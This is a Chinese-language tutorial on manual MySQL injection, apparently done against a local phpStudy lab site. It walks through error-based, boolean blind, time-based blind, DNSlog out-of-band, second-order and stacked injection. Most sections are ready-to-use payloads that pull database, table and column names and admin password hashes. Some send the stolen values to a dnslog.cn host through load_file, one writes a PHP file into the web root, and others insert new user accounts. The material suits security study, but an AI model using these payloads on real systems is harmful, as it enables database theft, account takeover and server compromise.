目录
一,报错注入
二,布尔盲注
三,sleep延时盲注
四,DNSlogs 盲注
五,二次注入
六,堆叠注入
总结
一,报错注入
报错注入就是在错误信息中执行 sql 语句,利用网站的报错信息来带出我们想要的信息。
1,group by 重复键冲突
原理:是通过rand产生随机数据导致group by分组时的主键冲突。
【1】就是利用 count()、rand()、floor()、 group by 这几个特定的函数结合在一起产生的注入漏洞
count(*):计算总共有多少条数据
rand():产生大于等于0小于1的随机数
floor():向下取整函数例如floor(1.6),结果为1,取比1.6小的整数
group by:将查询结果分组
sql注入代码:
?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2)) a
from information_schema.tables group by a)cname)
代码解读:
1,(select version() from information_schema.tables limit 0,1)
从 information_schema这个特殊数据库中的tables中获取数据库版本信息,limit 0,1:只返回一行数据。
2,concat(0x5e,语句,0x5e)
concat 连接字符串,ox5e为16进制的^,所以连接的结果就是:^语句返回的结果^
3,floor(rand(0)*2)
rand(0)产生大于等于0小于1的固定随机数,乘以2又floor向下取整之后得到的只有0或1,它出现的目的就是令group by的主键冲突。
那么如何冲突的呢?
冲突过程:
获得的值 | 插入的值 | 产生的临时表 |
0 | 判断是0,表中没有所以插入1 | v1表:1 |
1 | ||
1 | 判断是1(说明v1表中有这个键),所以不插入 | 1+1=2 |
0 | 判断是0,认为表中没有,插入1 | 与v1键冲突了 (因为插入了2个1) |
1 |
4,
select count(*), ... a from information_schema.tables group by a
其实这里的count(*)是统计information_schema.tables的行数,但是这里并没有用上只是用来保证格式正确,group by a是通过别名a的结果进行分组,也就是:concat(0x5e,(select version() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))它的结果。
5,select 1 from ...cname
最外边的这个用于返回一个1,同时返回内部语句报错带出的结果,cname是别名哈
【2】rand(14)好还是rand(0)好
当然是rand(14)好,来看看吧
group by 冲突
随机值 | 插入值 | 临时表 |
1 | 判断为1 ,插入0 | v0 |
0 | ||
1 | 判断为1,插入0 | 有(v0)了又插入一个v0所以发生了冲突 |
0 |
综上所述:rand(14)比rand(0)少判断一次,所以它好哈哈
2,xpath 报错
原理:是通过extractvalue()函数使用错误的格式来产生报错并且带出需要的信息
sql注入代码
id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))
结果:
代码解释:
【1】extractvalue()是mysql中用于从XML文档中提取数值的函数。
【2】基本格式:extractvalue(xml文档,查询数据的位置)
例如:
SELECT extractvalue('<root><name>狗蛋</name><age>19</age></root>', '//name')
结果:
3,updatexml 报错
原理:通过用错误的updatexm()格式来使他报错并返回信息
sql注入代码:
id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)
结果:
【1】updatexml 是 mysql中的一个 XML 函数,它用于修改 XML 文档中的值。
【2】updatexml(xml文档,要替换的数据,替换成的数据)
例如:
SELECT updatexml('<root><username>狗蛋</username><age>18</age></root>',
'//username','<name>狗哥</name>')
结果:
4,实战
【1】找注入点
【2】获取数据库名
sql注入代码:
'or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
或
' or extractvalue(1, concat(0x5c, (select database() from information_schema.tables limit 0,1),0x5c)) or '
结果:
【3】获得数据库中的表
sql注入代码:
' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or '
结果:
【4】获取表中的字段名
sql注入代码:
' or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '
结果:
【5】获取字段中的数据
sql注入代码:
' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users limit 0,1),0x5e),1) or ’
结果:
值得注意的是:
21232f297a57a5a743894a0e4a801fc3//数据库中的数据
21232f297a57a5a743894a0e4//获得的数据
可以看到它少了一截,这是因为updatexml一次只截取32位超过的部分就不管了,所以我们可以使用下面的代码分2次去获取。
sql注入代码1:
' or updatexml(1,concat(0x5e,(select
concat(name,':',substring(password,1,16)) from users limit
0,1),0x5e),1) or '
sql注入代码2:
' or updatexml(1,concat(0x5e,(select
concat(name,':',substring(password,17)) from users limit
0,1),0x5e),1) or '
分别得到:
21232f297a57a5a7//第一次获得的数据
43894a0e4a801fc3//第二次21232f297a57a5a743894a0e4a801fc3//拼接
拼在一起去解码就好了。
二,布尔盲注
union和报错注入搞不定的情况下可以用这个,盲注(就是猜)
【1】判断是否存在布尔注入
sql注入代码:
and 1=1
and 1=2
结果:
假:
真:
【2】获取数据库名字
sql注入代码:
and length(database())>0
and length(database())<5
and length(database())=4
盲注就是一直去猜,猜对为止
知道数据库长度后,就可以通过ascii码值判断数据库的名字是由哪些字符组成的。
ascii码表:
sql注入代码:
and ascii(substr(database(),1,1))<ascii码值
就这样一直试一直排除直到条件正确为止
四个字符都试出来后为jrlt
验证数据库名字是否正确:
and database()='jrlt'
【3】获取数据库中有几个表
sql注入代码:
and (select count(table_name) from information_schema.tables where table_schema = database())=1
(猜的过程就跳过了)结果:
【5】表名的长度
sql注入代码:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10
(猜的过程就跳过了)结果:
【4】获取表名
sql注入代码:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<10
过程就跳过了,结果为,messages,users
substr(str, pos, len)
str
是要从中提取子字符串的原始字符串。pos
是开始提取的位置(基于 1 的索引)。len
是要提取的字符数。
例如:
select substr('Hello World', 1, 5);
【5】获取表中的字段长度
sql注入代码:
and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<10
这里跳过过程,结果:
长度分别是:2,4,8,5,5
【6】获取字段名字
sql注入代码:
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100
过程跳过,结果:id,name,password,photo,money
【7】获取内容的长度
sql注入代码:
and (select LENGTH(name) from users LIMIT 0,1)=5
过程跳过了,结果:
【8】获得字段内容
sql注入代码:
and ascii(substr((select name from users limit 0,1),1,1))=97
猜的过程跳过(获取其他的字段也是如此操作),结果:admin
三,sleep延时盲注
延时注入就是通过判断sleep语句是否执行来推测if语句是否为真
这个方法效率超低,在union,报错,布尔注入都搞不定的情况下用这个
【1】测试是否有延时注入
sql注入代码:
and sleep(5)
【2】猜数据库名
1,sql注入代码:
and if(length(database()<10),sleep(5),1)
and if(length(database()=4),sleep(5),1)
2,这里直接跳过猜的过程了,看结果吧
【3】猜数据库名由那些字符组成
sql注入代码:
and if(ascii(substr(database(),1,1)=106),sleep(5),1)
过程就跳过了,结果是jrlt
【4】获取数据库中有多少个表
sql注入代码:
and if((select count(*) from information_schema.tables where table_schema='jrlt')=3,sleep(5),1)
【5】获取数据库中表的字符
sql注入代码:
and if(ascii(substr((select table_name from information_schema.tables where table_schema='jrlt' limit 0,1),1,1)=109),sleep(5),1)
原理都一样这里就不做演示了:messages,users,user三个表
【6】获取表users表中有多少个字段
sql注入代码:
and if((select count(*) from information_schema.columns where table_name='users' and table_schema='jrlt')=5,sleep(5),1)
这里过程跳过原理都一样
【7】猜测字段名长度
sql注入代码:
and if((select length((select column_name from information_schema.columns where table_name='users' and table_schema='jrlt' limit 0,1)))=2,sleep(5),1)
【8】猜测字段名字符
sql注入代码:
and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),0,1))=105,sleep(5),1)
过程跳过结果id............
【9】猜id的内容
sql注入代码:
and if(ascii(substr((select id from users limit 0,1),1,1))=51,sleep(5),1)
得到是3
四,DNSlogs 盲注
它是利用DNS域名服务器上的域名信息进行sql盲注的,在数据库中DNSlogs可以使用load_file()函数来加载本地文件和url请求。但是前提是要有root权限并且secure_file_priv参数要为空
1,查看配置
show VARIABLES like 'secure_file_priv'
secure_file_priv参数配置 | 含义 |
secure_file_priv=null | 不允许mysqld导入和导出 |
secure_file_priv=‘/temp/’ | 只能在temp目录下进行导入导出 |
secure_file_priv= | 不限制导入和导出操作 |
2,修改配置
\phpStudy\PHPTutorial\MySQL\my.ini
3,获取数据库data所在目录
4,获取网站所在目录
熟悉phpstudy的应该知道网站目录放在vhosts.conf配置文件里面
使用load_file读取文件内容
sql注入代码:
?id=-1 union select 1,2,3,load_file('E:\\phpStudy\\PHPTutorial\\Apache\\conf\\vhosts.conf')
5,得到目录后对其写入文件
sql注入代码:
union select 1,2,3,'<?php phpinfo();?>' into outfile
"E:\\phpStudy\\PHPTutorial\\WWW\\bbs\\test.php"
获取网站目录的方法:
1,通过一句话木马
2,通过配置文件
3,通过报错注入带出网站目录
实战
DNSLog Platform
1,获取数据库名
sql注入代码:
and load_file(concat('//',(select database()),'.us9ybc.dnslog.cn/123'))
2,获取表名
sql注入代码:
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.us9ybc.dnslog.cn/123'))
道理都一样自己去玩吧!
五,二次注入
二次注入就是在数据库中已有的用户被再次以特殊的方式添加,然后执行sql语句进行攻击的操作。
实战
1,碰撞用户
2,用特殊的方法注册用户
3,修改密码
看到这读者们想必也猜出来了
admin'#这里'的作用是闭合语句,#在数据库sql语句中是注释符号,对比一下
正常语句:
update users set password=123456 where name='admin';
攻击者的语句:
update users set password=123123 where name='admin'#';
哈哈,有意思吧!
六,堆叠注入
堆叠注入就是多条语句通过;号分隔一同执行的语句,从而达到攻击效果
例如:
先获得对方数据库名
上篇讲过了,这里直接给代码了,忘记了就去看看我的sql注入上篇吧
?id=-2 union select 1,database(),2,3 //获取数据库名
?id=-2 union select 1,(select group_concat(table_name ) from information_schema.tables where table_schema='jrlt'),2,3 //获取数据库中的表名
?id=-2 union select 1,(select group_concat(column_name ) from information_schema.columns where table_schema='jrlt' and table_name='users'),2,3 //获取字段名
得到基本信息后进行添加操作
?id=2; insert into users(name,password) values('dd',123456)
为啥会登录失败呢?
sql注入代码:
?id=2; insert into users(name,password) values('gd',md5(123456))
总结
在我们手工注入时,我们应当根据实际情况判断用那种注入,以及要知道每一种注入方法的原理,
手工注入固然慢,但是这才是灵魂所在,使用sqlmap工具虽然高效但是没有灵魂嘞